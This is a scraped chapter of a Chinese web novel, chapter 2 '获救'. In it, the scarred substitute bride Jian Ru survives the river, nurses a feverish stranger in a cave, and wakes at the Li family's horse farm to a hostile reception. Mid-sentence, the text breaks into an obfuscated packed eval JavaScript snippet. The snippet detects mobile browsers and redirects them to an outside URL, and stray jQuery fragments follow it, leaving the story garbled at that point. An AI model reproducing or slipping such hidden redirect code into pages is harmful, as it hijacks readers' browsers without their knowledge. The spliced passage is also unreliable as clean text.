默认冷灰
24号文字
方正启体

2. 获救

作者:林沁人本书字数:K更新时间:
    第2章


    天刚蒙蒙亮,天空阴云黑压压的压在头顶,清晨的雾气夹杂着浓郁的水汽,弥漫在河面上,潺潺的流水声中,岸边的草木都朦朦胧胧的。


    光线扎得人眼皮疼,眼球动了几下后,简如倏地睁开了眼。


    “呼……咳咳……,”他大口喘着气,间杂着剧烈的咳嗽和干呕,整个胸腔里都疼的厉害。


    他侧着头咳出了几口污水。


    缓了好一阵,简如才觉得喘气顺溜了,他沉重的眼皮眨了眨,此时才发现自己的身上哪哪都疼,身上衣服湿漉漉的裹着,尽管是夏天,但还是冰冰冷冷的,让他战栗不已。


    不远处山里有什么动物在嚎叫,还有瘆人的鸟鸣,听不大真切,像隔着一层膜似的。


    耳朵里应该是进水了。


    简如晃了晃头,又差点恶心得吐出来,他闭着眼又缓了缓。


    啪,啪,硕大的雨点掉落下来,砸在简如脸上身上。又下雨了。


    他没死,简如苦笑,看来河神也看不上他,把他退回来了。


    后背被石头硌得实在难受,又太冷,他看向四周。


    这应该是逐秀河的下游某处,河水到这里已经越来越浅,他是被冲到这里被岸边的卵石滞留了下来。


    老天爷又一次让他逃过一劫,但虽让他活着,却不肯让他活得好。


    简如心里一片凄凉。


    雨越来越大了,再这么躺下去,离死也不远了。


    好死不如赖活着,简如不再多想,拄着胳膊,准备从地上起身,就在这时,他才发现,有什么沉重的东西压在他下半身,让他动弹不得。


    简如努力撑着手肘往下看,就见一头乌黑的长发,尾端浸在了河水里,随着水流轻轻晃动,长发的主人趴在他腰腹处,身上的白衣也是湿透的,沾染了污泥。


    简如惊诧地眨了眨眼,又低下头看放在自己胸口的白皙而指节分明的手。


    看了一阵,他才反应过来,脸上一热,忙将那只手拂开。


    那手无力地垂落到了他身边地上。


    简如又看了那只手一阵,这才倏地用力撑起来,两手扳住那人的肩膀,使了吃奶的力气,将人掀翻开来。


    做完这些以后,简如累得直喘,身上也疼得更厉害了。


    他额头青筋鼓动,眯着眼去看那人是死是活,却在看清对方的容貌时,倏地一怔。


    简如从没见过皮肤这么白的人,也从没见过这么好看的人。


    天上没太阳,可简如第一眼看过去,还是觉得这人好看得简直在发光,像是画里的仙子一般。


    这是谁,怎么和自己一起被冲到这岸边了?


    难道……简如露出惊愕的神情,本来就不甚清醒的脑子里闪过一个离谱念头,这人……难道就是河神?


    ……


    雨越下越大,跟瓢泼的一样。


    简如在大雨里,弯着腰,费力地拖着个人往山脚去。


    刚才他看过了,这四周荒凉没有人家,只有山脚处有个浅浅的洞窟能暂避一下。


    被他拖着的人好像是有些醒了,长眉微微蹙着,胸口的起伏不定。地上又是污泥又是石头和树枝的,被拖着肯定不舒服,但简如已经尽力了,这人看着瘦,但个子不矮,简如试过了,根本就背不动。


    好不容易把人拖进了山洞,简如累得眼前发黑,一屁股坐到了洞口处,看着洞外如瀑暴雨,歇着气。


    一只手下意识地接着雨水搓洗着另一只手,反反复复。


    山洞里面有窸窸窣窣的动静,简如回头去看,正看见地上躺着那白衣男子,抬起手在自己额上,似乎是感到头疼。


    之后,他放下手,撑起身坐了起来,一头长发散落,露出精致的眉眼。


    那双眼睛朝洞口这边看过来,与看过去的简如的目光撞上。


    “你……是谁?”年轻男人的声音微微沙哑。


    简如咽了咽。


    这人肤色白皙,嘴唇饱满红润,脸也是红的,衬着黑发尤其好看。


    不似凡人,这真的是河神吧?简如心里这么想。


    他问自己是谁?简如想说自己是长寿村的简如,又想说自己是替换了别人被投进河里给河神当媳妇的,可事情哪是一两句话说得清楚的。


    对方已经问了有一会儿了,简如有点急了,他嘴巴动了动,没过脑子地答了句:“我是你媳妇。”


    说完,简如脸唰的一下红了。


    而那年轻男人看着他身上还在滴水的红色嫁衣,脸上现出明显的疑惑和惊讶之色。


    “哎,不是,”简如起身想解释,一把掀开垂下一角在脸上半掉不掉的红盖头,却见那年轻男人目光定在他左脸上,面上的惊讶之色更明显了。


    简如倏地停下脚步,这才想起来自己脸上那吓人的疤,他想抬手挡住,却又硬生生地没动,只咬着牙坦然地任对方盯着看。


    “我……。”那人又开口了。


    简如抬眼看过去,却只见那人盯着自己,眼睛一翻露出眼白,下一瞬,紧紧闭着眼睛噗通一下倒在地上了。


    简如愣愣地站在原地,摸了摸自己脸上的疤,心里一阵紧缩,难受得要命。


    河神……被他吓晕了。


    ……


    自那之后,那年轻男人就没再醒过。


    简如本以为的红润好颜色,其实是因为对方发烧了,而且烧得很重,连急促的呼吸都是烫的。


    简如收回放在男人额头上的手,犯了难。


    他在河水里泡了半夜,到现在身上都是湿的,除了在河水里撞出来的伤,还有搬动人的累,没什么其他不适的。但这个男的长得挺高,却还没他顶用,眼看着是越病越重了。


    简如在洞口往外看,天地茫茫,几乎被雨水连接到了一起,积水哗哗地把泥土冲成小股的水沟,往地势较低的河道聚集。


    这人需要烧火取暖,也得喝些热水。


    这是山脚下,不缺枯木,他可以去外面捡柴,但是雨水下了这么多天,木柴早就湿透了,需要烘干才能点着火。


    他摸了摸身上,红色嫁衣下是他本来的衣服,他自己缝制的小口袋里,有几个铜钱,还有个应急的火折子,但早就湿透烂掉了。


    简如叹了口气,为难地扯下嫁衣一角,用雨水浸透了拧干,敷到那年轻男人的额上。


    他在旁边坐着一边等雨停,好去周围找找有没有村子,一边时不时摸摸那块红布,热了就起来重新洗一遍。


    偶尔还用手心接些雨水给那人喝。


    来回折腾了说不上多少趟,年轻男人的呼吸却越来越急促,越来越烫,也不知道是不是那块红布掉了色,整张脸红的吓人。


    简如急了。


    他犹豫了又犹豫,还是咬着牙,把这人上半身的衣衫褪了,也不敢细看,用力把衣裳的水都拧出来,干干的了才给他盖回去。


    裤子他是实在下不去手去动。


    就这样,从自己身上又扯掉一块布,浸湿了拧干,伸进那人盖着的衣裳里替他擦身降温。


    如此又折腾了好久,这人脸上没那么红了,呼吸也没那么急促了。他伸手探了探对方的额,觉着好像是有些降温了。


    简如稍微松了口气,这时候,才觉出自己又累又饿,还冷,困倦让他几乎睁不开眼,他闭着眼搓洗着自己的手,想着,就眯一下,一下就好,然后,就不知不觉睡着了。


    睡了不知道多久,简如倏地睁开眼,觉出不对来。


    外面天已经擦黑了,雨竟然还没停,稀里哗啦得下得天漏了一样。


    他转头去看身边的年轻男人,昏暗的光线下,这人面色如纸,脸色灰败,胸口起伏微弱。


    简如吓得赶紧爬起来,抖着手放到他鼻下试,竟觉得已经是出气多进气少了。


    这回,简如再不敢有什么顾忌。


    他以前伺候过瘫在床上的张娇他娘,动作利落熟练地把年轻男人的裤子也剥了,和衣裳一起铺在冰凉坚硬的地上。


    之后,他闭着眼,咬着牙,抬手伸向自己领口,将暗扣解开,刷刷几下,将身上衣裳脱到只剩下了里衣,把被自己体温烘到半干的衣裳盖到那人身上,然后将最外面的那层红色嫁衣,用树枝顶在洞口,底下插在泥土里固定了,这样多少能挡些扫进来的风雨。


    忙完这些,简如回到那人身边。


    洞口一挡,几乎什么都看不清了,只影影乎乎看到地上躺着的人,一动不动,就跟死了一样。


    简如不再犹豫,抬手几下子就把里衣也给脱了个干净,也盖到那人身上。自己则搓了搓遇冷起了鸡皮疙瘩的手臂,弯腰掀开那几件衣裳,钻了进去,牢牢将衣裳底下那具虚弱的身体搂住了。


    皮肉相触的时候,简如浑身一抖,却并没有别的心思,对方身体冰凉的像个死人,如果不是摸到了心跳,简如会以为他已经断气了。


    黑暗中,外面风狂雨骤,简如嘴唇微微颤抖,紧紧闭着眼睛,把脸埋在男人冰凉的颈窝。


    简如很累,很饿,很难过。


    江茂才和张娇应该早就已经跑出了村子,去他们想去的地方了吧。


    “这么多年来,明白事儿以后我喜欢的人就是娇娇,你们两总在一块玩,为了让娇娇高兴,我才顺带对你好。”


    “我对你从来无意,更别提出事后你的脸像恶鬼一样,我怎么可能会喜欢你?”


    江茂才的话,犹如正响在耳边。


    简如想哭,却发现他哭不出来了。


    庙里的大师傅说,救人一命胜造七级浮屠。


    简如想,这一辈子他活得太没劲,要是能把这人救活的话,他也算没白来这世上一遭。


    ……


    简如睡着了,也可能是又饿又疲累地晕了。


    中途他感觉好像有人跟他说了话,还颇为小心地翻动他。


    简如哼了两声,却完全睁不开眼,也没力气说话,后来,就又什么都不知道了。


    后来,他又醒过一次,还是睁不开眼,只觉得自己整个人都在轻微晃动,像是躺到了幼时爹爹给他做的摇篮中一样。


    有人给他喂水,他咕咚咕咚全都喝了,喝完了还没够,还不小心咬了人家的手指一下。


    那只手的主人脾气很好没生气,安抚地轻轻拍了拍他肩膀,又给他拿了水喝。


    简如又一次咕咚咕咚喝完了。


    之后,陷入沉睡前,他把有疤的半张脸侧着藏进枕头里。


    迷迷糊糊的,他还在想,这是个好人,不能吓到人家。


    ……


    简如再睁开眼时,是躺在一个陌生的屋里床上。


    床帐挂起来了半边,露出斜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418115|168895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对面糊了油纸的窗子,窗子旁摆了个雕花的花几,上面一盆白色的兰花开得素雅。


    花几旁,是一张长条条案,上面有几样纸砚笔墨,还有张圈椅放置在条案旁。


    屋里有股淡淡的说不出的香味,是药香和其他什么香混杂在一起的味道,很好闻。


    这不是他家。


    简如清醒过来,过往如水漫过脑海,他不安地坐起身来。


    厚实的被子滑落下去,露出他身上薄薄的柔软的寝衣。


    这不是自己本来的衣裳,简如抬手摸了摸,是他没见过的好料子。


    头发和身上明显都清洗过,寝衣下,就什么都没穿了。


    简如心里更不安了。


    正在这时,门外传来了脚步声,简如一把将被子拉了上来,戒备地盯着门口看。


    不多时,木门吱嘎一声被打开了,一个长相白白净净的哥儿端着托盘走了进来。


    他看见床上的简如醒了,就“呦”了一声道:“小少爷总算醒了!”


    说着,他便走到了床边,将托盘放到了旁边圆桌上,然后将那半边床帐挂了上去。


    简如看着他的动作,从他的一句话里,敏锐地感觉到对方对自己的不善。


    “我这是在哪,你是谁?”简如问。


    那哥儿坐到了床边方凳上,看着他,目光尤其在他有疤的半张脸上停留了许久。


    简如任他看,不躲也不闪。


    “这是河西李员外家养马的庄子。”这哥儿回应道,“我是李员外的三儿媳孙玉霜。”


    简如知道李员外,也知道这个庄子。


    以前他到镇上玩,路上远远地就能见到这庄子。那时候张娇艳羡地说过,这是有钱人的地方,能在里面找个替李员外养马的活计,就够养活一家子人了。


    简如没想过自己有能进来这庄子的一天,还能住进这么好的屋子里,虽然只是暂时的。


    坐在床边的孙玉霜面庞白净柔润,明眸皓齿,衣着讲究,举手投足间自有风流,连名字都雅致好听。


    尽管简如没有和人家相比的心思,但也避免不了有几分自惭形秽。


    这里不是属于他的地方。


    他抚了抚手底下柔滑的褥子,曲起了手指,说:“我叫简如,是长寿村的,不知道是哪位恩公救了我,我想见一面谢恩。”


    孙玉霜笑了一下,是一种别有意味的笑,他打量着简如,问:“谢恩之后呢?”


    简如不解地看向他,“谢恩之后,自然是回家去了。”


    孙玉霜笑得更奇怪了,他“啧”了一声,“到时候,你还舍得回去吗?”


    “什么?”简如没听懂他的意思。


    孙玉霜不笑了,这时候,他的脸看起来就有几分刻薄。


    “最近这些日子,李员外的侄子李二公子在这庄子养病,前天傍晚,他在河边散步,失足落了水,李家的男人都出门了,找了足足一天两夜,才在逐秀河下游的山洞里找到了他。”


    简如想起了被他拖进山洞的年轻男子,当然也想起了自己昏睡前,为了保那人的命,所做过的事。


    就算他脸皮不薄,想起这一遭,还是不由得红了脸。


    不知道那人怎样了,活过来没有。


    他脑子清醒了,便想明白,那人哪是什么河神,河神又怎会溺水,又生出那么重的病来。


    孙玉霜语气淡淡的:“你救了李家二公子,现在可成了李家的大恩人。”


    看来那人是没事了,简如松了口气。


    恩不恩人的,简如没想过,他救那人不过是图一个良心安宁。


    简如一直放在心里的是另一件事,他想问的话实在问不出口,他顿了一下,换了种方式,“我身上这衣裳……?”


    孙玉霜扫了他身上一眼,说:“你身上是我替你擦洗的,衣裳也是我换的。”


    简如放下一直吊着的心。


    他正想开口道谢,那孙玉霜却站起身作要告辞状,道:“这药是治风寒的,你喝了吧。”


    尽管确实感到头脑昏沉,浑身发冷,但简如实在不愿再多欠人情,光这些他都还不上。他看了桌上的药汤一眼,弯了弯腰,道了声谢后说:“我没感风寒,就不多麻烦了。”


    他这话不知怎么惹到对方了,孙玉霜变了脸,讥诮地道,“李家乃杏林世家,你这脉是李二公子亲自诊的,你还信不过吗!”


    简如一愣,“是他……?”


    这李二公子家,简如其实也是知道的,镇上最大的医馆,便是这家的。


    李二公子的爹,便是李员外的弟弟,家里虽然不是李员外这样的地方豪富,但也算家产殷实,且医术高明,又经常开义诊,在当地很有些名望。


    只可惜好人不长命,老李大夫前两年在看诊途中着了病,回家休养不久,就没熬过去去世了,不过听说这李家的几个儿女都是好大夫,把医馆经营得有声有色。


    孙玉霜冷笑了一声,“想不到,一个乡野里的哥儿,倒是颇有些心机手段。”


    “放心,李家是讲究人,”孙玉霜的目光像针一样扎在简如那半张如鬼的上,最后道,“李二公子就是再不愿,冲你救过他的恩情,也得给你个说法。”


    简如愣了愣,脑子里琢磨着对方话里的意思,眼睁睁看着孙玉霜甩了下袖子,转身出了门。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)